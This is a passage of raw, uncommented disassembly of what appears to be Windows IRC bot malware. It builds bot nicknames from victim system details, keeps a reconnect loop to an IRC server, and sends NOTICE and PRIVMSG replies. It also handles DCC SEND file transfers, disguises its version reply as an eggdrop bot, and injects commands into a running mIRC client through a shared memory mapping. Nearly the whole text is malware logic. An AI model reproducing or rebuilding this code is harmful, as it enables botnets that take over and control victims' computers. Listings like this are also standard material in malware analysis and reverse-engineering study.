		call	sub_406AE7
		test	eax, eax
		jz	loc_40D31F

loc_40D18D:				; CODE XREF: sub_40D043+13Bj
		call	sub_406A23
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40D1B6
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40D1B6:				; CODE XREF: sub_40D043+15Ej
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40D1CF
		call	sub_408E8E
		mov	[ebp+var_250], eax
		jmp	short loc_40D1D9
; ---------------------------------------------------------------------------

loc_40D1CF:				; CODE XREF: sub_40D043+17Dj
		mov	[ebp+var_250], 400h

loc_40D1D9:				; CODE XREF: sub_40D043+18Aj
		mov	eax, [ebp+var_250]
		shr	eax, 0Ah
		mov	[ebp+var_228], eax
		call	sub_408887
		mov	[ebp+var_18C], eax
		mov	[ebp+var_224], offset aB ; "B"
		cmp	[ebp+var_18C], 2EEh
		jnb	short loc_40D213
		mov	[ebp+var_224], offset aA ; "A"

loc_40D213:				; CODE XREF: sub_40D043+1C4j
		cmp	[ebp+var_18C], 1F4h
		jnb	short loc_40D229
		mov	[ebp+var_224], offset aG ; "G"

loc_40D229:				; CODE XREF: sub_40D043+1DAj
		and	[ebp+var_22C], 0
		mov	[ebp+var_220], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_21C]
		rep stosd
		lea	eax, [ebp+var_220]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_21C], 5
		jnz	short loc_40D270
		cmp	[ebp+var_218], 1
		jnz	short loc_40D270
		mov	[ebp+var_22C], 1

loc_40D270:				; CODE XREF: sub_40D043+218j
					; sub_40D043+221j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_22C], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_224]
		push	[ebp+var_228]
		push	5Dh
		push	[ebp+var_188]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_24C]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		movsx	eax, byte_41DB34
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DB34
		push	offset dword_41DAB4
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41DAB4
		call	sub_4105FB
		pop	ecx
		movsx	eax, byte_41DBB4
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DBB4
		push	offset dword_41ED48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41ED48
		call	sub_4105FB
		pop	ecx

loc_40D31D:				; CODE XREF: sub_40D043+295j
					; sub_40D043+2BCj
		jmp	short loc_40D343
; ---------------------------------------------------------------------------

loc_40D31F:				; CODE XREF: sub_40D043+144j
		push	offset dword_41DAA4
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40D7E5
		pop	ecx

loc_40D343:				; CODE XREF: sub_40D043:loc_40D31Dj
		lea	eax, [ebp+var_80]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		push	offset byte_41EE48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40D363:				; CODE XREF: sub_40D043+F3j
					; sub_40D043+11Bj
		pop	edi
		leave
		retn
sub_40D043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D366	proc near		; CODE XREF: sub_40A9CF+1521p
					; sub_40D871+4A7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF2F
		add	esp, 0Ch
		push	dword_41E9A4
		call	sub_40538D
		pop	ecx
		mov	[ebp+var_4], 0EA60h

loc_40D38E:				; CODE XREF: sub_40D366:loc_40D419j
		push	offset dword_41E898
		call	sub_4105FB
		pop	ecx
		push	offset dword_41E998
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	1
		push	offset dword_41E998
		push	offset dword_41E898
		call	sub_4050EA
		add	esp, 10h
		mov	dword_41E9A4, eax
		push	offset dword_41E898
		call	sub_4105AD
		pop	ecx
		push	offset dword_41E998
		call	sub_4105AD
		pop	ecx
		cmp	dword_41E9A4, 0
		jz	short loc_40D3EE
		push	1
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	short locret_40D41E
; ---------------------------------------------------------------------------

loc_40D3EE:				; CODE XREF: sub_40D366+79j
		push	0
		push	0
		push	0
		call	sub_40CF2F
		add	esp, 0Ch
		push	[ebp+var_4]
		call	dword_41709C	; Sleep
		cmp	[ebp+var_4], 0A4CB80h
		jge	short loc_40D419
		mov	eax, [ebp+var_4]
		add	eax, 0EA60h
		mov	[ebp+var_4], eax

loc_40D419:				; CODE XREF: sub_40D366+A6j
		jmp	loc_40D38E
; ---------------------------------------------------------------------------

locret_40D41E:				; CODE XREF: sub_40D366+86j
		leave
		retn
sub_40D366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D420	proc near		; CODE XREF: sub_4020C2+1DEp
					; sub_40A9CF+1219p ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4AB	proc near		; CODE XREF: sub_4020C2+21Bp
					; sub_40332B+1A6p ...

var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_1008]
		push	eax
		mov	eax, [ebp+var_1008]
		lea	eax, [ebp+eax+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D53F	proc near		; CODE XREF: sub_401244+51p
					; sub_401244+41Ep ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_40D55F
		jmp	locret_40D6C9
; ---------------------------------------------------------------------------

loc_40D55F:				; CODE XREF: sub_40D53F+19j
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 1
		jnz	short loc_40D58F
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------

loc_40D58F:				; CODE XREF: sub_40D53F+2Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jnz	short loc_40D5BB
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A058
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------

loc_40D5BB:				; CODE XREF: sub_40D53F+5Aj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D5E7
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A048
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------

loc_40D5E7:				; CODE XREF: sub_40D53F+86j
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax

loc_40D605:				; CODE XREF: sub_40D53F+4Ej
					; sub_40D53F+7Aj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+19Fh], 0
		jz	short loc_40D63C
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D629
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D63C

loc_40D629:				; CODE XREF: sub_40D53F+DCj
		push	offset dword_41A03C
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx

loc_40D63C:				; CODE XREF: sub_40D53F+D0j
					; sub_40D53F+E8j
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D680
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D693

loc_40D680:				; CODE XREF: sub_40D53F+133j
		push	offset dword_41A038
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx

loc_40D693:				; CODE XREF: sub_40D53F+13Fj
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch

locret_40D6C9:				; CODE XREF: sub_40D53F+1Bj
		leave
		retn
sub_40D53F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6CB	proc near		; CODE XREF: sub_40332B+205p
					; sub_40332B+212p ...

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_416BC0
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	1000h
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D734	proc near		; CODE XREF: sub_40D74D:loc_40D75Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	offset aMirc	; "mIRC"
		call	dword_4171E8	; FindWindowA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D74D	proc near		; CODE XREF: sub_40A9CF+926p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_40D75E
		jmp	locret_40D7E3
; ---------------------------------------------------------------------------

loc_40D75E:				; CODE XREF: sub_40D74D+Aj
		call	sub_40D734
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40D76E
		jmp	short locret_40D7E3
; ---------------------------------------------------------------------------

loc_40D76E:				; CODE XREF: sub_40D74D+1Dj
		push	offset aMirc	; "mIRC"
		push	1000h
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		call	dword_4170C0	; CreateFileMappingA
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	0F001Fh
		push	[ebp+var_8]
		call	dword_4170BC	; MapViewOfFile
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		push	0
		push	1
		push	4C8h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	0
		push	1
		push	4C9h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	[ebp+var_C]
		call	dword_4170B8	; UnmapViewOfFile
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40D7E3:				; CODE XREF: sub_40D74D+Cj
					; sub_40D74D+1Fj
		leave
		retn
sub_40D74D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7E5	proc near		; CODE XREF: sub_40A9CF+E3p
					; sub_40D043+2FAp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40D803
; ---------------------------------------------------------------------------

loc_40D7FC:				; CODE XREF: sub_40D7E5:loc_40D86Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40D803:				; CODE XREF: sub_40D7E5+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short locret_40D86F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40D82E
		push	39h
		push	30h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------

loc_40D82E:				; CODE XREF: sub_40D7E5+32j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40D86D
		call	sub_410483
		test	eax, eax
		jz	short loc_40D85A
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------

loc_40D85A:				; CODE XREF: sub_40D7E5+5Ej
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al

loc_40D86D:				; CODE XREF: sub_40D7E5+47j
					; sub_40D7E5+55j ...
		jmp	short loc_40D7FC
; ---------------------------------------------------------------------------

locret_40D86F:				; CODE XREF: sub_40D7E5+24j
		leave
		retn
sub_40D7E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D871	proc near		; CODE XREF: sub_40E618+321p

var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_7D8		= dword	ptr -7D8h
var_7D4		= dword	ptr -7D4h
var_7D0		= dword	ptr -7D0h
var_7CC		= dword	ptr -7CCh
var_7C8		= dword	ptr -7C8h
var_7C4		= byte ptr -7C4h
var_7C0		= dword	ptr -7C0h
var_7BC		= byte ptr -7BCh
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_4B4		= byte ptr -4B4h
var_490		= byte ptr -490h
var_390		= byte ptr -390h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_213		= byte ptr -213h
var_113		= dword	ptr -113h
var_10F		= byte ptr -10Fh
var_95		= dword	ptr -95h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	edi
		push	offset aPing	; "PING"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8A7
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		push	offset aPongS	; "PONG	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40D8A7:				; CODE XREF: sub_40D871+1Dj
		push	offset aPong	; "PONG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8C2
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40D8C2:				; CODE XREF: sub_40D871+4Aj
		push	offset aMode	; "MODE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8DD
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40D8DD:				; CODE XREF: sub_40D871+65j
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 1
		jnz	loc_40DB2D
		push	offset dword_41A14C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jz	loc_40DA81
		push	offset aSend	; "SEND"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+10h]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		cmp	[ebp+arg_0], 0
		jz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+20h], 0
		jnz	short loc_40D98B

loc_40D986:				; CODE XREF: sub_40D871+F8j
					; sub_40D871+101j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40D98B:				; CODE XREF: sub_40D871+113j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+14h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 22h
		jnz	short loc_40D99E
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40D99E:				; CODE XREF: sub_40D871+126j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+20h]
		and	byte ptr [ecx+eax], 0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41DAB4
		lea	eax, [ebp+var_213]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_113], 0
		push	7Ah
		push	0
		lea	eax, [ebp+var_10F]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_95], 1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+18h]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_238], eax
		movzx	eax, byte ptr [ebp+var_238]
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 8
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 10h
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 18h
		movzx	eax, al
		push	eax
		push	offset dword_418A50
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+14h]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_4024F3
		add	esp, 18h
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DA81:				; CODE XREF: sub_40D871+BAj
					; sub_40D871+C7j ...
		push	offset dword_41A138
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DAAD
		push	offset dword_41A12C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DAEB

loc_40DAAD:				; CODE XREF: sub_40D871+224j
		cmp	[ebp+arg_0], 0
		jz	short loc_40DAD1
		push	offset dword_41DC34
		push	3B6h
		push	0
		push	offset dword_41A108
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 14h
		jmp	short loc_40DAE6
; ---------------------------------------------------------------------------

loc_40DAD1:				; CODE XREF: sub_40D871+240j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_41A0E8
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 0Ch

loc_40DAE6:				; CODE XREF: sub_40D871+25Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DAEB:				; CODE XREF: sub_40D871+23Aj
		push	offset dword_41A0E0
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DB16
		push	offset dword_41A0D8
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_40DB2D

loc_40DB16:				; CODE XREF: sub_40D871+28Ej
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DB2D:				; CODE XREF: sub_40D871+80j
					; sub_40D871+8Dj ...
		push	offset a433	; "433"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DCFD
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_2CC], eax
		cmp	[ebp+var_2CC], 4
		jnb	short loc_40DB71
		call	sub_406AE7
		test	eax, eax
		jz	loc_40DCB8

loc_40DB71:				; CODE XREF: sub_40D871+2F1j
		call	sub_406A23
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40DB9A
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40DB9A:				; CODE XREF: sub_40D871+314j
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40DBB3
		call	sub_408E8E
		mov	[ebp+var_7E4], eax
		jmp	short loc_40DBBD
; ---------------------------------------------------------------------------

loc_40DBB3:				; CODE XREF: sub_40D871+333j
		mov	[ebp+var_7E4], 400h

loc_40DBBD:				; CODE XREF: sub_40D871+340j
		mov	eax, [ebp+var_7E4]
		shr	eax, 0Ah
		mov	[ebp+var_36C], eax
		call	sub_408887
		mov	[ebp+var_2D0], eax
		mov	[ebp+var_368], offset aB ; "B"
		cmp	[ebp+var_2D0], 3E8h
		jnb	short loc_40DBF7
		mov	[ebp+var_368], offset aA ; "A"

loc_40DBF7:				; CODE XREF: sub_40D871+37Aj
		cmp	[ebp+var_2D0], 1F4h
		jnb	short loc_40DC0D
		mov	[ebp+var_368], offset aG ; "G"

loc_40DC0D:				; CODE XREF: sub_40D871+390j
		and	[ebp+var_370], 0
		mov	[ebp+var_364], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_360]
		rep stosd
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_360], 5
		jnz	short loc_40DC54
		cmp	[ebp+var_35C], 1
		jnz	short loc_40DC54
		mov	[ebp+var_370], 1

loc_40DC54:				; CODE XREF: sub_40D871+3CEj
					; sub_40D871+3D7j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_370], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	5Dh
		push	[ebp+var_2CC]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_390]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		jmp	short loc_40DCE5
; ---------------------------------------------------------------------------

loc_40DCB8:				; CODE XREF: sub_40D871+2FAj
